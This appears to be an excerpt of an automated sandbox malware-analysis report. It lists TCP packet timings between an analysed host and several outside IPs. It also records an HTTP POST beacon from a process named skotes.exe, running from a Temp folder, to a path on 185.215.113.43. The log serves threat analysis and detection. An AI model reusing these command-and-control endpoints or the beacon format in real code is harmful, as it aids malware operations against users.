Nov 30, 2024 18:08:45.358926058 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.359347105 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.359383106 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.359807014 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.359863043 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.360388994 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.360435009 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.360766888 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.360805035 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.361416101 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.361453056 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.361664057 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.361699104 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.362494946 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.362536907 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.362737894 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.362776995 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.363532066 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.363570929 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.363809109 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.363857985 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.364598989 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.364646912 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.364873886 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.364914894 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.365670919 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.365710974 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.365930080 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.365967035 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.366799116 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.366837978 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.367069960 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.367108107 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.367752075 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.367790937 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.368060112 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.368103027 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.368820906 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.368863106 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.369096994 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.369134903 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.369862080 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.369899988 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.370156050 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.370194912 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.370909929 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.370946884 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.371176958 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.371215105 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.371980906 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.372023106 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.372441053 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.372478962 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.373049021 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.373087883 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.373295069 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.373332977 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.374093056 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.374130964 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.374238968 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.374277115 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.374644995 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.374684095 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.375278950 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.375319958 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.375555992 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.375614882 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.376322985 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.376364946 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.376584053 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.376622915 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.377429962 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.377470016 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.377655029 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.377693892 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.378473043 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.378510952 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.378724098 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.378762960 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.379549980 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.379590988 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.379757881 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.379797935 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.380526066 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.380579948 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.380832911 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.380875111 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.381594896 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.381635904 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.381860018 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.381897926 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.382652044 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.382692099 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.382936954 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.382973909 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.383785963 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.383824110 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.384035110 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.384100914 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.384768009 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.384808064 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.385023117 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.385071993 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.385835886 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.385871887 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.386084080 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.386121035 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.386894941 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.386950016 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.387132883 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.387175083 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.387948036 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.387995005 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.388230085 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.388267994 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.388977051 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.389019012 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.389270067 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.389309883 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.390064001 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.390105009 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.390296936 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.390335083 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.391076088 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.391115904 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.391352892 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.391392946 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.392211914 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.392252922 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.392450094 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.392488003 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.393222094 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.393260956 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.393481016 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.393523932 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.394292116 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.394330978 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.394504070 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.394541979 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.395349026 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.395390987 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.395589113 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.395626068 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.396361113 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.396405935 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.396605015 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.396645069 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.398296118 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.398336887 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.398473024 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.398514032 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.398799896 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.398812056 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.398848057 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.398864985 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.474353075 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.474430084 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.474658012 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.474706888 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.474833012 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.474875927 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.475208998 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.475255966 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.475722075 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.475766897 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.475773096 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.475812912 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.476072073 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.476114035 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.476650000 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.476730108 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.477052927 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.477094889 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.477858067 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.477902889 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.477993965 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.478037119 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.478725910 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.478761911 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.478928089 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.478971004 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.479770899 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.479804993 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.480122089 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.480158091 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.480987072 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.481026888 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.481101036 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.481134892 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.481957912 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.482002020 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.482189894 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.482232094 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.483141899 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.483182907 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.483282089 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.483330011 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.483985901 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.484036922 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.484200001 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.484245062 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.485064983 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.485116005 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.485270023 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.485313892 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.486272097 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.486310005 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.486439943 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.486478090 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.487273932 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.487327099 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.487432003 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.487474918 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.488476038 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.488517046 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.488656998 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.488698006 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.489300966 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.489341974 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.489485025 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.489526033 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.490319014 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.490362883 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.490557909 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.490598917 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.491671085 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.491714001 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.491858959 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.491899967 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.494019032 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.494033098 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.494045019 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.494057894 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.494070053 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.494093895 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.494549036 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.494590044 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.494839907 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.494888067 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.495594025 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.495632887 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.495899916 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.495939970 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.496757984 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.496799946 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.496857882 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.496898890 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.497689009 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.497728109 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.497900009 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.497937918 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.499880075 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.499891043 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.499902010 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.499926090 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.499959946 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.500077009 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.500114918 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.500869036 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.500906944 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.501065016 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.501100063 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.502031088 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.502073050 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.502197981 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.502234936 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.503328085 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.503346920 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.503376961 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.503393888 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.504023075 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.504067898 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.504241943 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.504283905 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.505099058 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.505146027 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.505292892 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.505330086 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.506154060 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.506198883 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.506328106 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.506365061 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.507210016 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.507247925 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.507383108 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.507421017 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.508248091 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.508281946 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:45.508428097 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:45.508464098 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:46.024075985 CET	49785	7000	192.168.2.4	179.43.171.209
Nov 30, 2024 18:08:46.146028996 CET	7000	49785	179.43.171.209	192.168.2.4
Nov 30, 2024 18:08:46.447979927 CET	7000	49785	179.43.171.209	192.168.2.4
Nov 30, 2024 18:08:46.449937105 CET	49785	7000	192.168.2.4	179.43.171.209
Nov 30, 2024 18:08:46.575958014 CET	7000	49785	179.43.171.209	192.168.2.4
Nov 30, 2024 18:08:46.696424007 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:46.696721077 CET	49850	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:46.816740036 CET	80	49850	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:46.816896915 CET	49850	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:46.816929102 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:46.816977024 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:46.817097902 CET	49850	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:46.937020063 CET	80	49850	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:48.267802000 CET	80	49850	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:48.267867088 CET	49850	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:50.808099985 CET	49820	80	192.168.2.4	185.215.113.43
Nov 30, 2024 18:08:50.808379889 CET	49860	80	192.168.2.4	185.215.113.43
Nov 30, 2024 18:08:50.928595066 CET	80	49860	185.215.113.43	192.168.2.4
Nov 30, 2024 18:08:50.928653955 CET	49860	80	192.168.2.4	185.215.113.43
Nov 30, 2024 18:08:50.928788900 CET	80	49820	185.215.113.43	192.168.2.4
Nov 30, 2024 18:08:50.928807974 CET	49860	80	192.168.2.4	185.215.113.43
Nov 30, 2024 18:08:50.928836107 CET	49820	80	192.168.2.4	185.215.113.43
Nov 30, 2024 18:08:51.055356979 CET	80	49860	185.215.113.43	192.168.2.4
Nov 30, 2024 18:08:54.174046040 CET	7000	49785	179.43.171.209	192.168.2.4
Nov 30, 2024 18:08:54.226694107 CET	49785	7000	192.168.2.4	179.43.171.209
Nov 30, 2024 18:08:54.929960012 CET	49860	80	192.168.2.4	185.215.113.43
Nov 30, 2024 18:09:00.195641994 CET	49785	7000	192.168.2.4	179.43.171.209
Nov 30, 2024 18:09:00.316466093 CET	7000	49785	179.43.171.209	192.168.2.4
Nov 30, 2024 18:09:00.618246078 CET	7000	49785	179.43.171.209	192.168.2.4
Nov 30, 2024 18:09:00.664311886 CET	49785	7000	192.168.2.4	179.43.171.209
Nov 30, 2024 18:09:00.664462090 CET	49785	7000	192.168.2.4	179.43.171.209
Nov 30, 2024 18:09:00.785449028 CET	7000	49785	179.43.171.209	192.168.2.4

HTTP Request Dependency Graph

185.215.113.43

31.41.244.11

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49753	185.215.113.43	80	2640	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 18:08:04.587791920 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49769	185.215.113.43	80	2640	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
